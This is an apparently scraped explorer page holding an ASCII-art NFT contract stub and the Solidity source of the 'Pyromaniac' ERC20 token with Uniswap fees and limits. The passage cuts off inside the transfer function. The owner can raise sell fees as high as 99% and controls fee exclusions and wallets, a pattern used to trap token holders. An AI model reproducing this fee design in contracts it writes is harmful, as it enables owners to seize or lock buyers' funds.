..............~?JGGBBBBB######&&&&&&&&&&&&&&&&&&&&&&@@&&&&&&&&7 .?B@&?.7PP#@@&&@P!YG5~J@@@#&&&&& // // .^:............:^^^~~^:::::~J55PG##B&@&&&&&&&&&&&&&&&&55P#@&&&&&&@#^ :G#! 7PP#@@@&@B!#@@@B~7@@&&&&&& // // . .........:^^^^:. .:^^::. ..:^7PGG#@&&&&&&&&&&&&&&5YP5Y5#@&&&&&&J .~:.?P5B@@@&&&PG@&&&@&7J@&&&&&& // // ........^!YJ!^. :75GBBBGGP5Y: :^ ^G#PBBBGBBBBBBBB&@@#G5Y55Y5B&&&&&J . .?PPGPB@@&#B&@@&&&&&&5&&&&&&& // // .... ^?P##?^.. .J#@&&&BGBB&Y#5 :~. Y@BPGGGG&&&&&GPBGGGPPPJJYY?G&&&@5 ..7P5B@G5G@&##&&BPG@&#&@@&&&&&& // // ... :G@@B!:.. :G&&##BBGG#&G7#G.^P. !&&&&#&&&&&&&#J^^:.....:!5PB&&&&7 .?P5B@@&P5B&@@#P5P&@@&&&&&&&&&& // // J: :G@P~^:...5&&#GPPY5B&@JY@Y ~5. ?&&&B&&&&&&&P::7~. ..:.. .!G#&&#^ ~P5B@@@@#5PB#G55B&@@@&&@&&&&##& // // &7 . :Y?Y^.. .GGP5YJ!J55@#?B&^.J! ^P&&B#&&&&&&#::?^ .!?7!~7.. !B##B:.:7B@@@@@@&BB55P#@@@@@&&@@@##&&& // // &G: ...YB?. ..!YGGPGYYJG@PY#7 :: !YB@&G&&&&&&&J.!^ ^5Y7?7~J:..:5G&B.. ^&@@@@@@#GGPB&&@@@@@&&@@@&&&&& // // &@P. ..!BB?~ . ~5GGPGPPGPJJ~ ^5#Y#&&G&&&&&##!.: .JJ?5J7!^.. ^#&@P . J@&&@@#GB#PGBB#G#@@@&&@@@@&&&& // // &&@~ ..:?#5J!. .^7JY5YJ!:. .~?#@BYB&&G&&&&#&&~ ..:^^~?!::... Y&&@? 7@&&&#GG#BP&@G5#&G#@@@&@@@&&&&& // // &&#~ ..!GBGJJ7^.. ..^7YB&&&&J!#@&G&&&&&&@Y .:^~^^~~::.. 7&&@Y. ~&@@#PG#&PG&@&PP&@G#@@@&@@@&&&&& // // B&B:..~?PP5GBGG555Y!JJ5PB&@@&&&&? 7B&#&&B#&&&&7 .^!!7~...:?GG57. ^B&&BP#@&PB&#BB5#&B&@&#GB@@@&&&&& // // ^!J7..!JJ:.:755GP57.P@&&&&&&&&@P .. ~P@&&&##&&&&Y^. ...:7~~: .~5GP5G&@@P5GBB#@GPB##BGGB&@@@&&&&& // // :::^. :?GP^ ..^~..!&&&&&&&&&&! ... :P@&&&&&&&&@BJ:.:^..:~!^. :?^:7BB&@@@##&@5^7PBGBBB#&@@@@@&&&&& // // ^::^:. ~YBG!: .~!7^.J&&&&&&&&#: .::. :G@&&&&&&G5??^.:~^^~!^..:~55. 7&@@@@@@@#: J#PPPB&#@@@@@@&&&& // // ^^^^!^ .~75B5^^. 7~.^5#&&&&&@5 . ^7 . :B@&&#Y?^^^::?PY~.. :7YGBB^ . ?@@@@@@@Y . JGPPP5!^7&@@@@@&&& // // ^^~^^^.. .JPJ777~:...:!G&&&&@B~ . :Y::. ^B@#5: :?PPPJ7:...:Y5G#B&! .. 7@@@@@@? . 7P5P5~ .5&@@@@@&& // // ^^^^^^: . :P55G5YJ!...:G##&&&P^ ...Y?^:. ^57~^ .:GB5^. .....^YBB&Y :.. ?@@@@5....!JJ~... ~&@@@@&@&& // // ::^^!YP~ . .^:!PGGJ...?5B&#5?Y^ ...:^.... .7P! ..7!. .~7. ^Y7:.^?BG ^!.. YG5!....:~..:^..:G@@#G@@&&& // // ::~5B##J .. ....?BG. .G&5PBP~G?^. .:^:.. Y&! ... :?GB7 .!BB5!..~..5?. .:7Y~ .:!?!..:Y@&?:^&@@@& // // ::!PG#B7~... ...~!. ^G@?:JGPBGGP5!B#BGPY7Y&@7 . .7J7GGBBJ. :?#&BJ^.^B&PYJP#5^ :7?~..^75G@5. .B@@@& // // :!7YBBPP?^.:::.. . . ~#&B~?G#B&&&&5#GG&@&BBP~...?B@@&##BBBP7: .7P&&B&@@@@@@@P7JJ!:.^7J5YJYY:...#@&@& // // ~7^Y#PBG?:::~7~:::.. :P@@BJG&&&@@@@&#BBBPJ7?^ ..5YJ55B@##BGGG5! ^JPB#&&&&&&@@@7 .??~: .. :&@@@@ // // 7^^JPGBP5::::?J^5Y~ ..^77?~7??JJJJYJJ??7!^^~:.....^75G&5YJ????~. .!#@&&&&&&&#?^^:::~?P5P7 ~@&#@@ // // 77:^5PBG5~~^:~!~GP~ .. ....?PB&@@P7 .^7??7JG#&@@@&@@@@@@@&BGPGGGPJ. .Y@#G&@ // // ??7^?G##5:!Y5??5BY^...:?J7..~!: ~?J5~ :~:::::. :G&@&&&&#Y~. .:7?JY5G#@&B#&#&&PY?!^:.......:7#@@&B&@ // // Y5YJJPGGPPGB@&&&&&5 ..:G@&^ 5@! 7@&@P..::!7JY: ~&&&&&&&&@&BY?^:.. .:7PPG#P?^ .:^7JJ5GG55G@@@@#&@ // // 55YGBBB#B#&&&&&&&@G....Y@&~ [email protected]&&&~ ^P##&? ?&###&&&&&&@@@BPB5?J~ ^:?5^. .75G5JJ55B&#PPP#@@@&#& // // P5PBBGB&#&&&&&&&&&B....7&@! ~&B: 7@&&J !@##&J~ 7###&&&&&&&&##BPBGG7:...!7GJ^: !#&#5JJY5B&BPPPB@@@@&& // // 5PGGBPB&&&&&&&&&&&&~ . J&@7 .P@~ .B@@G ^&@@@P? :B@@@&&&&&&&GBBBPY~~^~..PPPPJ: !###PPPPYB&GPPP#@@@@&& // // PGBBBBB#&&&&&&&&&&@? . ?BB7 7&7 J&#G:.YYJJ~: .P&###&&&&&P5BB57:!YY7 .^Y@&J. !BBB5YYYYPG5YYYB##&@@& // // PGBBBBB#&&&&&&&&&&@G^ ... .... .:.. ...^^7JJPBBGBBBBBBY!5G!:?PB##? .~7B&J !GBB55555G#P55PBGPPG&& // // 5GBBBBBGB&&&&&&&&&&&GJ?77?!^...:~7??7JJJ5PGGB##BPBBBBBBG5!!?:^5P####J. J#PP5. !P#&GP5P55#PPPG##BG55& // // 5GBBBBY~?PG#&&&&#GGGB&&&&P5GPGG#&&BBGY&####BBG5JYBBGP5JJ5Y^:?BBG#B##Y. ?@@@G. ^GPGB5?55~PP?5G#BB5YY& // // BBBBB?^:7YPB###PPB#GY7!~~:~75#@@@#BBP7JJ??777!.^5PYYJJJY7:^5BBBGB#BY?. ?@&@5...~B#G5Y55??PY5PGBP?7G@ // // BB#G7:^~J5GPYYYPBJ~~7YGBBBGJ~:!PBPP5Y55PPGGP57?^:^!!~:.^.:?BBBGG#PYG5 7@&@Y. ?7^G&B5YYJ~JYYY5PY?JY& // // BB5~:^^?GPY5GG5!~7J5YBGG@@@@GY77G&&######&&&###BY~.!PY~:?JPBB#G5J5##7 J@@&! .J#!^G&GPPP77P55G&GJ??5 // // B?^::^YB5!5##?^YP5GG#@@@&P?~:JGGGGY?YG&&&@@@@&&B#BJ.7&#77&&#&#PYG##B: Y@@B:..5##!:G#PPP5^JPPG##P?77 // // !:^^^Y#G??&B~?#@&@@@&B57^~JG5J?J~JB#P?7?5PG#&#P?!?5J 5@Y~#@@&&##&##P.. 5@@5..^5##B^~#BPPPJ!?PPGB&G?~ // // :^^~5##PJPB~?BGGGPY7~^!?^G#BBBBB7?PPBBG5!~~^:^^^::^:.^PJ!B@@@&@@&&&? . 5@&?. !5###5.?#GPPPB5?55PGBG7 // // :^75###G757:^^::::.::!77:~!!!!~!^^!~!7?Y!^?J?JY?~^::!.:?7B&#&&&&&&#^ ..P@&! !5####~:PG5Y5PBBPGGPGBB // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract BOI is ERC1155Creator { constructor() ERC1155Creator() {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.7+commit.e28d00a7

Default

0x142fd5b9d67721efda3a5e2e9be47a96c9b724a4

Pyromaniac

Pyromaniac.sol

0x4c7fbeec0412976f59d83eadee34bfe7ca2540dc

Solidity

/* https://t.me/PyroPortal https://twitter.com/PyroManiacEth https://www.pyromaniaceth.com/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Pyromaniac is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public developmentWallet; address public deployerWallet; address public lpLocker; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 50; // 50 = .5% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 1800 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = true; bool public swapEnabled = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event developmentWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("PyroManiac", "PYRO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 15; uint256 _buyLiquidityFee = 5; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 40; uint256 _sellLiquidityFee = 5; uint256 _sellDevFee = 0; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 10_000_000 * 1e18; maxWallet = 20_000_000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; deployerWallet = address(0x59db2Bd6AC5cFAC7B6d89127a36F5492ab0656A2); marketingWallet = address(0x5D661E0D9fb3969B6150757125F2091b8aFA0556); // set as marketing wallet developmentWallet = address(0x5D661E0D9fb3969B6150757125F2091b8aFA0556); // set as development wallet lpLocker = address(0x663A5C229c09b049E36dCc11a9B0d4a8Eb9db214); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(marketingWallet, true); excludeFromFees(lpLocker, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxTransaction(deployerWallet, true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(lpLocker, true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 40, "Must keep fees at 40% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 99, "Must keep fees at 99% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevelopmentWallet(address newWallet) external onlyOwner { emit developmentWalletUpdated(newWallet, developmentWallet); developmentWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; 